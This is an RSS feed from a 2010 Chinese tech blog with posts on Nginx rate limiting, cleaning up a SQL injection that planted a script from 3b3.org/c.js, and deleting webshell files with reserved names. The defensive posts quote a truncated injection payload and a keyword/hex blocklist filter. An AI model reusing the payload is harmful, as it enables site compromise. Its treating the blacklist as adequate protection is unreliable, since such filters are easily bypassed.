<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>无风的港湾</title>
	<atom:link href="http://www.5bay.cn/feed" rel="self" type="application/rss+xml" />
	<link>http://www.5bay.cn</link>
	<description>让你我停泊~</description>
	<lastBuildDate>Tue, 17 Aug 2010 15:59:34 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		
<!-- Start Of Script Generated By WP-PostViews Plus -->
<script type='text/javascript' src='http://www.5bay.cn/wp-includes/js/jquery/jquery.js?ver=1.3.2'></script>
<script type="text/javascript">
/* <![CDATA[ */
/* ]]> */
</script>
<!-- End Of Script Generated By WP-PostViews Plus -->
	<item>
		<title>Nginx限速</title>
		<link>http://www.5bay.cn/server-building/nginxxiansu.html</link>
		<comments>http://www.5bay.cn/server-building/nginxxiansu.html#comments</comments>
		<pubDate>Tue, 17 Aug 2010 15:56:15 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=531</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/nginxxiansu.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>看了网上很多的Nginx介绍，就跟着弄，发现总是限制不了速度： 配置如下
http {
    limit_zone   one $binary_remote_addr 10m; 
server{ &#8230;..
location /attachments/ {
            limit_conn   one 1;
            limit_rate 100k;
        }
}
}
在万般无奈下，找到这样句话“如果把limti_rate直接放在server{}中，而不是location中，确实能实现限速，但我只想限制附件下载的速度，请问大大该怎么搞？”
原来这个就是原因了。limit_rate只能对Server进行限速，不能对单个Location限速。所以如果要某个目录（一般是图片资源）限速，可以把用另一个域名进行限制。例子如下：
server
{
    listen       80;
    server_name www.example.com;
    index index.html index.htm index.php;
    root /project/trunk;                           
    location ~ .*\.(php&#124;php5)?$
    {     
      #fastcgi_pass unix:/tmp/php-cgi.sock;
      fastcgi_pass 127.0.0.1:9000;
      fastcgi_index index.php;
      include fcgi.conf;
    }
}
server
{
    listen       80;
    server_name www.example2.com;
    index index.html index.htm;
    root /project/trunk;
    limit_conn one 1;
    limit_rate 1k;         #打开图片好慢啊~~    
    [...]]]></description>
			<content:encoded><![CDATA[<p>看了网上很多的Nginx介绍，就跟着弄，发现总是限制不了速度：<span style="color: #666666;"> 配置如下</span></p>
<p><span style="color: #999999;">http {<br />
    limit_zone   one $binary_remote_addr 10m; </span></p>
<p><span style="color: #999999;">server{ &#8230;..</span></p>
<p><span style="color: #999999;">location /attachments/ {<br />
            limit_conn   one 1;<br />
            limit_rate 100k;<br />
        }<br />
}</span></p>
<p><span style="color: #999999;">}</span></p>
<p>在万般无奈下，找到这样句话“如果把<span style="color: #ff0000;">limti_rate</span><span style="color: #ff0000;">直接放在server{}中，而不是location中，确实能实现限速</span>，但我只想限制附件下载的速度，请问大大该怎么搞？”<span id="more-531"></span></p>
<p>原来这个就是原因了。limit_rate只能对Server进行限速，不能对单个Location限速。所以如果要某个目录（一般是图片资源）限速，可以把用另一个域名进行限制。例子如下：</p>
<p>server<br />
{<br />
    listen       80;<br />
    server_name <a href="http://www.example.com/">www.example.com</a>;<br />
    index index.html index.htm index.php;<br />
    root /project/trunk;                           <br />
    location ~ .*\.(php|php5)?$<br />
    {     <br />
      #fastcgi_pass unix:/tmp/php-cgi.sock;<br />
      fastcgi_pass 127.0.0.1:9000;<br />
      fastcgi_index index.php;<br />
      include fcgi.conf;<br />
    }<br />
}</p>
<p>server<br />
{<br />
    listen       80;<br />
    server_name <a href="http://www.example2.com/">www.example2.com</a>;<br />
    index index.html index.htm;<br />
    root /project/trunk;</p>
<p>    limit_conn one 1;<br />
    limit_rate 1k;         #打开图片好慢啊~~    <br />
    #limit_conn   crawler 20;   <br />
    location ~* .*\.php$ {<br />
       rewrite .* 404 break;<br />
    }</p>
<p>    if ($uri !~* /uploads/)<br />
    {<br />
       rewrite .* 404 break;<br />
    }<br />
}</p>
<p>以上环境在Centos5.3中设置</p>
<p>==============================================================</p>
<p>2010.01.31 环境：Windows xp + Cygwin + Nginx + PHPFastCGI</p>
<p>这一段是Nginx官方的文档：<a href="http://wiki.nginx.org/NginxHttpCoreModule#limit_rate">http://wiki.nginx.org/NginxHttpCoreModule#limit_rate</a></p>
<p><span>limit_rate </span></p>
<p><span><strong>syntax:</strong> <em>limit_rate speed</em> </span></p>
<p><span><strong>default:</strong> <em>no</em> </span></p>
<p><span><strong>context:</strong> <em><strong><span style="color: #ff0000;">http, server, location, if in location</span></strong></em> </span></p>
<p><span>Directive assigns the speed of transmission of the answer to client. Speed is assigned in the bytes per second. Limitation works only for one connection, i.e., if client opens 2 connections, then total velocity will be 2 times higher then the limit set. </span></p>
<p><span>If it is necessary to limit speed for the part of the clients at the <em>server</em> level, based on some kind of condition &#8211; then this directive does not apply. Instead you should specify the limit by assigning the value to the $limit_rate variable, as shown below: </span></p>
<pre><a href="http://wiki.nginx.org/NginxHttpCoreModule#server"><span>server</span></a><span> {
  </span><a href="http://wiki.nginx.org/NginxHttpRewriteModule#if"><span>if</span></a><span> ($slow) {
    </span><a href="http://wiki.nginx.org/NginxHttpRewriteModule#set"><span>set</span></a><span> $limit_rate  4k;
  }
}</span></pre>
<p><span>You can also control the rate of individual responses returned by a <code><span style="font-family: 新宋体;">proxy_pass</span></code> response (</span><a title="NginxHttpProxyModule" href="http://wiki.nginx.org/NginxHttpProxyModule"><span>NginxHttpProxyModule</span></a><span>) by setting the <code><span style="font-family: 新宋体;">X-Accel-Limit-Rate</span></code> header (</span><a title="NginxXSendfile" href="http://wiki.nginx.org/NginxXSendfile"><span>NginxXSendfile</span></a><span>). This can be done without a <code><span style="font-family: 新宋体;">X-Accel-Redirect</span></code> header. </span></p>
<p>发现 limit_rate的适应范围 <span><strong>context:</strong> <em><strong><span style="color: #ff0000;">http, server, location, if in location</span></strong></em> </span></p>
<p><span>其中是包括Location的。于是在Windows的环境设置</span></p>
<p><span><span style="color: #666666;">        location ~\.flv$ {<br />
            flv;<br />
            limit_rate 2k;<br />
        }</span>     </span></p>
<p><span>但发现依然不能正常限速，再试过另一种方式 ，直接用IP访问而不通过localhost或127.0.0.1访问。会不会因为回路网络（好像是这个名字）无法在程序中限制速度（netlimiter可以）。果然出现</span></p>
<p><span><span style="color: #666666;">$ wget </span><a href="http://192.168.1.13/input.flv"><span style="color: #666666;">http://192.168.1.13/input.flv</span></a><br />
<span style="color: #666666;">&#8211;2010-01-31 12:54:42&#8211; </span><a href="http://192.168.1.13/input.flv"><span style="color: #666666;">http://192.168.1.13/input.flv</span></a><br />
<span style="color: #666666;">Connecting to 192.168.1.13:80&#8230; connected.<br />
HTTP request sent, awaiting response&#8230; 200 OK<br />
Length: 69235224 (66M) [video/x-flv]<br />
Saving to: `input.flv.2&#8242;</span></span></p>
<p><span style="color: #666666;">0% [                                       ] 10,017      1.98K/s eta 9h 30m</span></p>
<p><span>看来是真的限制速度了。</span></p>
<h2  class="related_post_title">推荐博文</h2><ul class="related_post"><li>2006年11月23日 -- <a href="http://www.5bay.cn/network-programming/javascript-ajax/%E6%B5%85%E5%B0%9Dajax.html" title="浅尝ajax">浅尝ajax</a> (0)</li><li>2006年08月30日 -- <a href="http://www.5bay.cn/network-programming/php/php%E7%94%A8%E6%B5%81%E6%96%B9%E5%BC%8F%E5%88%B6%E4%BD%9C%E7%BC%A9%E7%95%A5%E5%9B%BE.html" title="PHP用流方式制作缩略图">PHP用流方式制作缩略图</a> (0)</li><li>2006年04月8日 -- <a href="http://www.5bay.cn/pig-article/%E5%B0%8F%E5%BD%B1%E5%8D%B0.html" title="小影印">小影印</a> (0)</li><li>2010年07月22日 -- <a href="http://www.5bay.cn/me/csseeeeyao.html" title="CSS 中的太极拳口诀">CSS 中的太极拳口诀</a> (0)</li><li>2007年04月30日 -- <a href="http://www.5bay.cn/network-programming/dhtml-css/css%E6%A0%B7%E5%BC%8F%E8%A1%A8%E5%B8%B8%E7%94%A8%E5%B0%8F%E6%8A%80%E5%B7%A7.html" title="CSS样式表常用小技巧">CSS样式表常用小技巧</a> (0)</li><li>2007年02月22日 -- <a href="http://www.5bay.cn/swallows-a-small-novel/%E4%BA%BA%E7%94%9F%E5%BF%A0%E5%91%8A.html" title="人生忠告">人生忠告</a> (0)</li><li>2007年08月16日 -- <a href="http://www.5bay.cn/network-programming/dhtml-css/%E4%BD%BF%E7%94%A8openrico%E5%A2%9E%E5%8A%A0%E5%9C%86%E8%A7%92%E6%95%88%E6%9E%9C.html" title="使用openrico增加圆角效果">使用openrico增加圆角效果</a> (0)</li><li>2006年12月27日 -- <a href="http://www.5bay.cn/network-programming/php/%E4%B8%80%E4%BA%9B%E5%B8%B8%E7%94%A8%E7%9A%84php%E5%87%BD%E6%95%B0.html" title="一些常用的php函数">一些常用的php函数</a> (0)</li><li>2006年03月22日 -- <a href="http://www.5bay.cn/me/%E8%AF%81%E6%98%8E%EF%BC%9A%E5%A6%82%E4%BD%95%E6%89%8D%E6%98%AF%E5%A4%A7%E5%AD%A6%E7%94%9F.html" title="证明：如何才是大学生">证明：如何才是大学生</a> (0)</li><li>2006年08月25日 -- <a href="http://www.5bay.cn/network-programming/asp/%E7%BC%96%E5%86%99%E5%AE%89%E5%85%A8%E7%9A%84asp%E4%BB%A3%E7%A0%81.html" title="编写安全的ASP代码 ">编写安全的ASP代码 </a> (0)</li><li>2006年12月27日 -- <a href="http://www.5bay.cn/me/43%E4%B8%AA%E4%B8%8D%E5%8F%AF%E4%B8%8D%E7%9F%A5%E7%9A%84%E5%81%A5%E5%BA%B7%E5%B8%B8%E8%AF%86.html" title="43个不可不知的健康常识">43个不可不知的健康常识</a> (0)</li><li>2006年05月20日 -- <a href="http://www.5bay.cn/me/%E4%B8%80%E4%B8%AA%E7%94%9F%E8%80%85%E5%AF%B9%E4%B8%80%E4%B8%AA%E6%AD%BB%E8%80%85%E7%9A%84%E5%A3%B0%E8%AE%A8%EF%BC%81.html" title="一个生者对一个死者的声讨！">一个生者对一个死者的声讨！</a> (0)</li><li>2006年02月20日 -- <a href="http://www.5bay.cn/me/%E5%AD%A6%E6%A0%A1%E5%B1%85%E7%84%B6%E4%B8%8D%E6%96%AD%E7%BD%91%7E.html" title="学校居然不断网~">学校居然不断网~</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E7%9A%84%E5%B8%A7%E7%8E%87%E6%8E%A7%E5%88%B6.html" title="游戏的帧率控制">游戏的帧率控制</a> (0)</li><li>2006年03月10日 -- <a href="http://www.5bay.cn/me/%E6%97%A0%E9%A2%98.html" title="无题">无题</a> (4)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a><br />

	<h4>相关日志</h4>
	<ul class="st-related-posts">
	<li>无相关日志</li>
	</ul>

]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/nginxxiansu.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ASP防注入新方式，希望对大家是有用的</title>
		<link>http://www.5bay.cn/server-building/aspeaojie.html</link>
		<comments>http://www.5bay.cn/server-building/aspeaojie.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 02:00:27 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[ASP]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[工具]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[网站]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[连接]]></category>
		<category><![CDATA[防注入]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=527</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/aspeaojie.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>最近我的网站经常把js脚本注入到数据，清除了又来。先后在网上找了很多的方法，还是没有用的，十分恼火。
首先先告诉大家一个批量清除代码的sql语句。
update 表名 set 字段=replace(字段,&#8217;script src=http://3b3.org/c.js&#62;
1、分析那些无聊的人，或者有些病态的人究竟做了些什么 。
通过iis的日志或者microsoft urlscan 日志查看，在一些通过id查询数据库内容的时候后面被人加了一段很长的字符窜。
%%3B%%44%%65%%43%%4C%%61%%52%%45%%类似这样的字符窜，一定是其他的方式编码
首先我们先用工具分析下如此之长的字符窜究竟包含了些什么内容。
通过批量替换工具把%%全部替换成空，然后把得到的字符串通过其他的转码工具，转成字符窜。
;DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0&#215;45这里代码去掉了06F007200 aS NvArChAR(4000));ExEc(@S);&#8211;
就是一段与通过id查询数据库同时执行的sql，就给数据库某些表的字段加入了js病毒连接。
2、所以我们的原来的防sql注入的字符串就需要升级了。
如果过滤16进制
; 对应 3B
DeCLaRE 对应 4465434C615245
@ 对应 40
NvArCHaR 对应 4E76417243486152
set 对应 536554
CaSt 对应 43615374
as 对应 6153
exec 对应 45784563
- 对应 2D
把16进制的代码用&#124;隔开放到injdata 里面
injdata = &#8220;3B&#124;2D&#124;&#8217;&#124;;&#124;and&#124;exec&#124;insert&#124;select&#124;delete%20from&#124;update&#124;count&#124;&#8221;
然后自己测试下，程序是否拦击了这些16进制的代码，本人测试过是可以拦击的，如果不加入这些是不拦击的
照样可以注入到数据库。
相关博文2010年07月26日 -- 基于JSON的高级AJAX开发技术 (0)2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)2010年07月26日 -- php的文档句法(heredoc)]]></description>
			<content:encoded><![CDATA[<p>最近我的网站经常把js脚本注入到数据，清除了又来。先后在网上找了很多的方法，还是没有用的，十分恼火。</p>
<p>首先先告诉大家一个批量清除代码的sql语句。</p>
<p>update 表名 set 字段=replace(字段,&#8217;script src=http://3b3.org/c.js&gt;<br />
1、分析那些无聊的人，或者有些病态的人究竟做了些什么 。</p>
<p>通过iis的日志或者microsoft urlscan 日志查看，在一些通过id查询数据库内容的时候后面被人加了一段很长的字符窜。</p>
<p>%%3B%%44%%65%%43%%4C%%61%%52%%45%%类似这样的字符窜，一定是其他的方式编码</p>
<p>首先我们先用工具分析下如此之长的字符窜究竟包含了些什么内容。</p>
<p>通过批量替换工具把%%全部替换成空，然后把得到的字符串通过其他的转码工具，转成字符窜。</p>
<p>;DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0&#215;45这里代码去掉了06F007200 aS NvArChAR(4000));ExEc(@S);&#8211;</p>
<p>就是一段与通过id查询数据库同时执行的sql，就给数据库某些表的字段加入了js病毒连接。</p>
<p>2、所以我们的原来的防sql注入的字符串就需要升级了。</p>
<p>如果过滤16进制</p>
<p>; 对应 3B</p>
<p>DeCLaRE 对应 4465434C615245</p>
<p>@ 对应 40</p>
<p>NvArCHaR 对应 4E76417243486152</p>
<p>set 对应 536554</p>
<p>CaSt 对应 43615374</p>
<p>as 对应 6153</p>
<p>exec 对应 45784563</p>
<p>- 对应 2D</p>
<p>把16进制的代码用|隔开放到injdata 里面</p>
<p>injdata = &#8220;3B|2D|&#8217;|;|and|exec|insert|select|delete%20from|update|count|&#8221;</p>
<p>然后自己测试下，程序是否拦击了这些16进制的代码，本人测试过是可以拦击的，如果不加入这些是不拦击的</p>
<p>照样可以注入到数据库。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (2)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/asp" title="ASP" rel="tag">ASP</a>, <a href="http://www.5bay.cn/tag/js" title="js" rel="tag">js</a>, <a href="http://www.5bay.cn/tag/sql" title="sql" rel="tag">sql</a>, <a href="http://www.5bay.cn/tag/url" title="url" rel="tag">url</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%B7%A5%E5%85%B7" title="工具" rel="tag">工具</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E7%BD%91%E7%AB%99" title="网站" rel="tag">网站</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a>, <a href="http://www.5bay.cn/tag/%E9%98%B2%E6%B3%A8%E5%85%A5" title="防注入" rel="tag">防注入</a><br />

	<h4>相关日志</h4>
	<ul class="st-related-posts">
	<li><a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术 (2010年07月26日)">基于JSON的高级AJAX开发技术</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题 (2010年07月26日)">最令PHP初学者头痛的十四个问题</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误 (2010年07月26日)">使用Ajax时的十个常犯的错误</a> (0)</li>
	<li><a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解 (2010年05月23日)">Rsync详解</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作 (2010年07月26日)">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/aspeaojie.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>如何删除删不掉的&#8221;PRN.asp:.jpg&#8221;</title>
		<link>http://www.5bay.cn/server-building/eeprn-asp-jpg.html</link>
		<comments>http://www.5bay.cn/server-building/eeprn-asp-jpg.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:59:36 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[ASP]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[属性]]></category>
		<category><![CDATA[工具]]></category>
		<category><![CDATA[操作系统]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[网站]]></category>
		<category><![CDATA[隐藏]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=525</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/eeprn-asp-jpg.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>一个用户的网站被挂马 很多以prn.开头的文件&#8230;这个文件其实是windows禁止建立的..但是可以在dos建立
所以在dos下用更改属性 结果不让改
然后想恢复权限 不让恢复 ，网站的跟目录被加了几个文件，怎么删也删不掉，
prn.gupiao.asp
prn.liuhe.asp
com1.shouji.asp
或是COM2，COM8等文件主，  
第一步：打开工具&#62;文件夹选项&#62;查看&#62;有一项为&#8221;隐藏受保护的操作系统文件(推荐)&#8221;,去掉其前边的钩,选中&#8221;显示所有文件和文件夹&#8221;
第二步：建立一个del.bat的文件 把以下代码黏贴进去&#8230;
DEL /F /A /Q \\?\%1
RD /S /Q \\?\%1
然后要删那个文件就把那个文件拖进去即可&#8230;.
但是又遇到问题了&#8230;有一个顽固的&#8230;PRN.asp;.jpg 拖进去也删不掉&#8230;.
不过没问题 这个也可以删&#8230;先把这个文件的文件夹里的其他的文件备份&#8230;
然后把文件夹拖过去&#8230;^_^ 删了吧&#8230;
然后把备份的文件 拷回去 ok了
相关博文2010年05月23日 -- Rsync详解 (0)2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)2010年05月23日 -- mysql优化及全文搜索 (0)2010年07月26日 -- PHP和Socket简介 (0)2010年07月26日 -- 深入探讨PHP中的内存管理问题 (0)2010年07月26日 -- Ajax的工作原理 (0)2010年07月26日 -- AJAX的各种控件和类库 (0)2010年07月26日 -- 基于JSON的高级AJAX开发技术 (0)2010年05月23日 -- eAccelerator与memcache的区别与用途 (2)2008年10月17日 -- 游戏数值公式的表象与本质 (0)2010年07月28日 -- 无需输入密码登陆3389 (0)2010年07月26日 -- 使用Ajax时的十个常犯的错误 (0)2010年07月26日 -- [...]]]></description>
			<content:encoded><![CDATA[<p>一个用户的网站被挂马 很多以prn.开头的文件&#8230;这个文件其实是windows禁止建立的..但是可以在dos建立</p>
<p>所以在dos下用更改属性 结果不让改</p>
<p>然后想恢复权限 不让恢复 ，网站的跟目录被加了几个文件，怎么删也删不掉，</p>
<p>prn.gupiao.asp</p>
<p>prn.liuhe.asp</p>
<p>com1.shouji.asp</p>
<p>或是COM2，COM8等文件主，  </p>
<p>第一步：打开工具&gt;文件夹选项&gt;查看&gt;有一项为&#8221;隐藏受保护的操作系统文件(推荐)&#8221;,去掉其前边的钩,选中&#8221;显示所有文件和文件夹&#8221;</p>
<p>第二步：建立一个del.bat的文件 把以下代码黏贴进去&#8230;</p>
<p>DEL /F /A /Q \\?\%1</p>
<p>RD /S /Q \\?\%1<br />
然后要删那个文件就把那个文件拖进去即可&#8230;.</p>
<p>但是又遇到问题了&#8230;有一个顽固的&#8230;PRN.asp;.jpg 拖进去也删不掉&#8230;.</p>
<p>不过没问题 这个也可以删&#8230;先把这个文件的文件夹里的其他的文件备份&#8230;</p>
<p>然后把文件夹拖过去&#8230;^_^ 删了吧&#8230;</p>
<p>然后把备份的文件 拷回去 ok了</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E6%95%B0%E5%80%BC%E5%85%AC%E5%BC%8F%E7%9A%84%E8%A1%A8%E8%B1%A1%E4%B8%8E%E6%9C%AC%E8%B4%A8.html" title="游戏数值公式的表象与本质">游戏数值公式的表象与本质</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/eeeeee389.html" title="无需输入密码登陆3389">无需输入密码登陆3389</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeeeseeao.html" title="ajax基础知识:js事件触发大全">ajax基础知识:js事件触发大全</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/asp" title="ASP" rel="tag">ASP</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%B1%9E%E6%80%A7" title="属性" rel="tag">属性</a>, <a href="http://www.5bay.cn/tag/%E5%B7%A5%E5%85%B7" title="工具" rel="tag">工具</a>, <a href="http://www.5bay.cn/tag/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F" title="操作系统" rel="tag">操作系统</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/%E7%BD%91%E7%AB%99" title="网站" rel="tag">网站</a>, <a href="http://www.5bay.cn/tag/%E9%9A%90%E8%97%8F" title="隐藏" rel="tag">隐藏</a><br />

	<h4>相关日志</h4>
	<ul class="st-related-posts">
	<li><a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解 (2010年05月23日)">Rsync详解</a> (0)</li>
	<li><a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索 (2010年05月23日)">mysql优化及全文搜索</a> (0)</li>
